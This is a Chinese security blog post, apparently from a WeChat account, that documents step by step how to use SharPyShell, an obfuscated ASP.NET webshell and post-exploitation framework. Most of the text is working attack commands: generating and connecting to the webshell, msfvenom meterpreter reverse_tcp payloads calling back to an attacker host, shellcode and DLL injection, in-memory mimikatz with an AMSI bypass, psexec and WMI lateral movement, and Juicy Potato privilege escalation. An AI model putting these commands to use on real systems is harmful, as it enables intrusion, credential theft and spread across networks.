> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码，原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/22DUmZUhrMLkAlUP5Sj6EQ) | **声明：**该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。 | **0x01 前言** 这篇文章中没有介绍其相关技术点的原理，也没有说明这个项目模块功能的应用场景，只是简单测试并记录了SharPyShell的使用方式，有实战经验的老哥肯定都知道在哪些场景中能用的上！ **0x02 SharPyShell简介** SharPyShell v1.2.1发布了，它是一个由Python编写的后渗透框架，用于C＃Web应用程序的小型混淆版ASP.NET WebShell，但仅支持在.NET Framework >= 2.0上运行，执行由加密信道接收的命令，并在运行时将它们编译到内存中，而且部分功能还可以绕过Windows Defender AMSI引擎的检测，详情可在该项目中查看： * https://github.com/antonioCoco/SharPyShell 视频来源：作者推特@splinter_code ****0x03 SharPyShell安装**** 这个项目必须运行在Python>=2.7，首先使用`git clone`命令将该项目克隆到本地，然后用`pip`命令安装所需依赖即可，不装依赖执行不了，在下个版本作者会将整个项目移植到Py3。 ``` `1、克隆项目``git clone https://github.com/antonioCoco/SharPyShell.git``2、安装依赖``pip install -r requirements.txt` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) **0x04 SharPyShell使用** ``` `生成混淆的webshell（generate）;``模拟Windows终端作为webshell的交互（interact）；` ``` **生成Webshell：** 我们在使用前可以先用-h参数查看下所有参数和说明，主要的`-p`参数为Webshell连接密码，密文加密方式为：`sha256`，`-e`参数为通信加密方式，支持：`xor、aes128、aes256`，默认为：`xor`。 ``` `python SharPyShell.py generate -h``python SharPyShell.py generate -p 'betasec'` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) ``` `<%@ Import Namespace="System" %>``<%@ Import Namespace="System.Web" %>``<%@ Import Namespace="System.Reflection" %>``` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) **连接Webshell：** 我们在成功连接这个Webshell后可以使用`?`查看所有功能模块，且支持使用`Tab`键补全模块名。还有就是会在`C:\Windows\Temp\`下生成一个临时文件夹用于存放我们上传的文件，完成渗透工作后执行`exit`命令退出时也会自动删除这个临时文件夹。 ``` python SharPyShell.py interact -u 'http://free.idcfengye.com:10430/sharpyshell.aspx' -p 'betasec' ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) **所有模块功能：** ``` `#download Download a file from the server`` #exec_cmd Run a cmd.exe /c command on the server `` #exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server `` #inject_dll_reflective Inject a reflective DLL in a new (or existing) process `` #inject_dll_srdi Inject a generic DLL in a new (or existing) process `` #inject_shellcode Inject shellcode in a new (or existing) process `` #invoke_ps_module Run a ps1 script on the target server `` #invoke_ps_module_as Run a ps1 script on the target server as a specific user `` #lateral_psexec Run psexec binary to move laterally `` #lateral_wmi Run builtin WMI command to move laterally `` #mimikatz Run an offline version of mimikatz directly in memory `` #net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap `` #privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM `` #privesc_powerup Run Powerup module to assess all misconfiguration for privesc `` #runas Run a cmd.exe /c command spawning a new process as a specific user `` #runas_ps Run a powershell.exe -enc spawning a new process as a specific user `` #upload Upload a file to the server` ``` **0x05 SharPyShell模块** #### #download 从服务器下载文件 ``` `Usage：#download remote_input_path [local_output_path] [chunk_size]``C:\Windows\Temp> #download C:\ProgramData\MS16-032_x64.exe /tmp/MS16-032_x64.exe` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #exec_cmd 在服务器上运行cmd.exe /c命令 ``` `Usage：#exec_cmd os_command [args]``C:\Windows\Temp> #exec_cmd whoami /priv` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #exec_ps 在服务器上运行powershell.exe -nop -noni -enc 'base64command' ``` `Usage：#exec_ps os_command [args]``C:\Windows\Temp> #exec_ps $psversiontable` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #inject_dll_reflective 使用DLL反射注入到新的进程或现有进程中，DLL必须包含`ReflectiveLoader`导出的函数，而且需要放置在modules/reflective_dll/目录下，注入类型支持：remote_virtual（默认）、remote_virtual_protect，如果没有指定进程PID时默认注入到cmd.exe进程 ``` `Usage：#inject_dll_reflective dll_path [injection_type] [remote_process]``C:\Windows\Temp> #inject_dll_reflective messagebox_reflective.dll` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #inject_dll_srdi 使用DLL通用注入到新的进程或现有进程中，需要将dll文件放置在modules/dll/目录下，注入类型支持：remote_virtual（默认）、remote_virtual_protect，如果没有指定进程PID时默认注入到cmd.exe进程 ``` `msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f dll > /tmp/shellcode.dll``Usage：#inject_dll_srdi dll_path [injection_type] [remote_process]``C:\Windows\Temp> #inject_dll_srdi shellcode.dll` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #inject_shellcode 在新的进程或现有进程注入shellcode，MSF的shellcode格式为`RAW`，注入类型支持：remote_virtual（默认）、remote_virtual_protect，如果没有指定进程PID时默认注入到cmd.exe进程 ``` `msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f raw > /tmp/shellcode.bin``Usage：#inject_shellcode shellcode_path [injection_type] [remote_process]``C:\Windows\Temp> #inject_shellcode /tmp/shellcode.bin` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #invoke_ps_module 在目标服务器上运行ps1脚本 ``` `Usage：#invoke_ps_module ps_module [appended_code]``C:\Windows\Temp> #invoke_ps_module clone.ps1 ';Create-Clone -u betasec123 -p pass!@#123'` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #invoke_ps_module_as 以特定用户身份在目标服务器上运行ps1脚本 ``` `Usage：#invoke_ps_module_as ps_module username password [appended_code] [domain] [process_timeout_ms] [logon_type]``C:\Windows\Temp> #invoke_ps_module_as clone.ps1 betasec123 pass!@#123 ';Create-Clone -u betasec456 -p pass!@#123` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #lateral_psexec 运行psexec进行横向移动 ``` `Usage：#lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]``C:\Windows\Temp> #lateral_psexec 192.168.1.108 administrator pass!@#123 'cmd /c whoami'` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #lateral_wmi 运行内置WMI命令进行横向移动，需在Administrator权限下执行，SYSTEM权限执行提示：拒绝访问 ``` `Usage：#lateral_wmi target_ip username password command [local_user] [local_password] [local_domain]``C:\Windows\Temp> #lateral_wmi 192.168.1.112 administrator pass!@#123 'cmd /c whoami'` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #mimikatz 直接在内存中运行mimikatz，执行类型支持：ps1（默认）、exe、reflective_dll ``` `Usage：#mimikatz [exec_type] [username] [password] [domain] [custom_command]``C:\Windows\Temp> #mimikatz ps1``C:\Windows\Temp> #mimikatz exe``C:\Windows\Temp> #mimikatz dll //Bypass Windows Defender AMSI` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #net_portscan 使用常规套接字进行端口扫描，支持对单/多IP进行扫描 ``` `Usage：#net_portscan hosts [ports] [custom_arguments]``C:\Windows\Temp> #net_portscan 192.168.1.108,192.168.1.120``C:\Windows\Temp> #net_portscan 192.168.1.0/24 '445' ' -T 5 '` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #privesc_juicy_potato 使用Juicypotato进行权限提升，执行类型支持：exe、reflective_dll（默认） ``` `Usage：#privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]``C:\Windows\Temp> #privesc_juicy_potato 'C:\ProgramData\64.exe' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #privesc_powerup 运行Powerup模块检测privesc所有错误配置，主要用于寻找可用于权限提升的脆弱Windows服务 ``` `Usage：#privesc_powerup [username] [password] [domain] [custom_command]``C:\Windows\Temp> #privesc_powerup` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #runas 以特定用户身份运行cmd.exe / c ``` `Usage：#runas os_command username password [domain] [process_timeout_ms] [logon_type]``C:\Windows\Temp> #runas whoami administrator pass!@#123` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #runas_ps 以特定用户身份运行powershell.exe -enc ``` `Usage：#runas_ps os_command username password [domain] [process_timeout_ms] [logon_type]``C:\Windows\Temp> #runas_ps whoami administrator pass!@#123` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) #### #upload 将文件上传到服务器 ``` `Usage：#upload local_input_path [remote_output_path] [chunk_size]``C:\Windows\Temp> #upload /tmp/local.txt C:\Windows\debug\WIA\group.txt` ``` ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) **注意事项：** 1. SharPyShell v1.2.1版本中由于许可证不兼容等问题而删除了lateral_psexec模块，v1.0版本中有。 2. 无法直接用`cd`命令切换至带有空格的文件夹等问题，这类问题可以在该项目的Issues中查看详情。 * https://github.com/antonioCoco/SharPyShell/issues/6 * * * 只需关注公众号并回复“9527”即可获取一套HTB靶场学习文档和视频，“1120”获取安全参考等安全杂志PDF电子版，“1208”获取个人常用高效爆破字典，“0221”获取2020年酒仙桥文章打包，还在等什么？赶紧关注学习吧！ ![潇湘信安](http://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOdSMdwH23ehXbQrbUlOvt6YLhRjHMxGMsH55CSVdlMC0XEwtoAQI06hia8rd371BcDnQ8bfRmP4YqA/0?wx_fmt=png) ** 潇湘信安 ** 一个不会编程、挖SRC、代码审计、渗透测试的业余网络安全人员，该公众号主要用于分享个人学习笔记、安全经验以及各类疑难杂症！ 75篇原创内容公众号 * * * **推荐阅读** [![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)](http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486401&idx=1&sn=1104aa3e7f2974e647d924dfde83e6af&chksm=cfa6afd2f8d126c47d81afd02f112daea41bce45305636e3bba9a67fbdcf6dbd0e88ff786254&scene=21#wechat_redirect) [![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)](http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486327&idx=1&sn=71fc57dc96c7e3b1806993ad0a12794a&chksm=cfa6af64f8d1267259efd56edab4ad3cd43331ec53d3e029311bae1da987b2319a3cb9c0970e&scene=21#wechat_redirect) [![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)](http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247484585&idx=1&sn=28a90949e019f9059cf9b48f4d888b2d&chksm=cfa6a0baf8d129ac29061ecee4f459fa8a13d35e68e4d799d5667b1f87dcc76f5bf1604fe5c5&scene=21#wechat_redirect) * * * **欢迎私下骚扰** ![图片](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)